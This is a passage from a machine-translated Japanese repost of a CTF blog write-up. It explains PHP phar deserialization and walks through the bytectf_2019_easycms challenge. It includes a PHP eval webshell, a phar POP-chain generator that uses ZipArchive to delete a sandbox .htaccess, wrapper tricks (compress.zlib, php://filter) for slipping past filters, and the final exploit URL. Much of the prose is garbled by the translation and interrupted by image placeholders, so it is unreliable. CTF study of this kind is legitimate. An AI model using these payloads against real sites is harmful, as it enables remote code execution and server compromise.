pharの直列化復元&&再生bytectf_2019_easycms

0x01の参照リンク

私の感謝の気持ちを表現するために、第一の基準リンクの内容のほとんどの解放
のリンクを

0x02のは原理を説明します

自然のPharは、このセクションに配置されたファイルのパーミッション、属性及び他の情報を圧縮されてそれぞれが圧縮されたファイルです。この部分は、ユーザー定義の列として保存されますmeta-data攻撃場所の上述の方法の中核である、
ここに画像を挿入説明
構築するために私たち自身のファイル構造に応じてphar、ファイルをphp内蔵しPhar、関連業務を処理するためのクラスを
注意:使用するにはオプション設定をあるいはphar形式のファイルを生成することはできません。php.iniphar.readonlyOff

<?php
    class TestObject {
    			//魔法函数(文件包含phar文件时会反序列化)
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); //设置stub,添加GIF头,可以绕过图片格式检查
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
以下の機能がしますphar、デシリアライゼーションファイル

ここに画像を挿入説明追加機能が見つかりました。

  • exif
  • exif_thumbnail
  • exif_imagetype
  • gd
  • imageloadfont
  • imagecreatefrom***
  • hash
  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file
  • file / url
  • get_meta_tags
  • get_headers
  • standard
  • getimagesize
  • getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
ジップ
$zip = new ZipArchive();
$res = $zip->open('c.zip');     //我们将phar压缩后,将压缩包的文件改为gif,此时仍然可以解压
$zip->extractTo('phar://test.phar/test');
ジップ

LOAD DATA LOCAL INFILEこれをトリガしますphp_stream_open_wrapper。レッツ・テスト、それを

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再割り当てmysqld

[mysqld]
local-infile=1
secure_file_priv=""
pharのをバイパス://リミットヘッド
0x01の
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
0×02
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')

0x03の再現性bytectf_2019_easycms

アクセスしようwww.zip

  • index.phpランディングページを確認し、任意のアカウントにログインすることができますupload.phpアップロードページが、唯一のadminファイルをアップロードするアカウント。
  • 訪問upload.php*、それはでサンドボックスが生成されます.htaccessファイルを、読み取ります。lolololol, i control all
  • ファイルをアップロードした後、それは、ファイルへの保存パスに戻りますview detailsあなたが入力することができview.php、エコーファイルのmime種類やファイルパスを。
  • ディレクトリがあるので.htaccess、コンテンツ書かれている、それは解決できないので、アクセスアップロードされたファイルは500に報告されます


攻撃を展開し0x01のハッシュ長(hashpump.py)

ここに画像を挿入説明ここに画像を挿入説明オブジェクトは、管理者のクラスからインスタンス化されています。フォロー管理

ここに画像を挿入説明ここに画像を挿入説明ハッシュ長を拡大する攻撃を確認し、それらを表示されません攻撃の具体的な方法は、Baiduのは、行をクリックしてください。


0x02のPharのポップ鎖構造

我々はPHPの馬が適切に解決することはできませんので、アップロードフォルダは、.htaccessの存在渡す長い知られていて、私たちは、.htaccessファイルを削除する方法を見つけます。

ただ、絵の馬をアップロードしようと
ここに画像を挿入説明フィルタがある
ここに画像を挿入説明
2回のアイデア攻撃があるが、

  • pharのデシリアライゼーションは、.htaccessファイルにsanbox制御をバイパスし、別のディレクトリにアップロードしますupload_file
  • PHPの馬をアップロードする前に、その後、PHPは、削除の.htaccessファイルをデシリアライズ

我々は一時ファイルを格納するディレクトリを知らないので、あなただけの第二のアプローチを使用することができます。

私たちは、あるview.php参照Fileカテゴリ、フォローアップFileクラス
ここに画像を挿入説明ここに画像を挿入説明、既に述べた上では、mime_content_typeはphar形式のシリアル化を開始させることができます。
同時に、我々は魔法クラスプロファイル機能があることに注意してください__call
ここに画像を挿入説明、我々はそれらのオープンクラスのメソッドを見つけなければならないので、オープン機能、および管理者、ユーザ名、パスワード制御を持っています。
(ZipArchive,SessionHandler)
利用できるZIPARCHIVE。
ZipArchive::open ( string $filename [, int $flags ] ) : mixed  
ここに画像を挿入説明これによりoverwriteこの方法は、直接削除できる.htaccessファイルの
ここでの注意はまたのような、非圧縮されたファイルを開くことができます.htaccess

我々は最初の馬をアップロード

<?php 
$a = "sys"."tem";
eval($_POST["xxx"]);
?>

そして、 `のphar pop`攻撃チェーンを構築
<?php
class File{

    public $filename;
    public $filepath;
    public $checker;
}
class Profile{

    public $username;
    public $password;
    public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>

叫んだ、アップロードのPharを濾過し、 `プロンプトあなたがme`をおびえさせる、` `しかし仕事ではないだろうpharの構造に損傷を与える可能性が削除した後を参照してくださいwinhex。次に置き換えるPHP 7.0は、完全に問題を解決するためにアップロードされます。私たちは、時代の流れについていく必要があります。自分の食事ストームハンマー



php://filterトリガーWAFに検出をバイパスphar

view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar

正常に削除.htaccess
ここに画像を挿入説明

公開された47元の記事 ウォンの賞賛2 ビュー3141

おすすめ

転載: blog.csdn.net/a3320315/article/details/102888500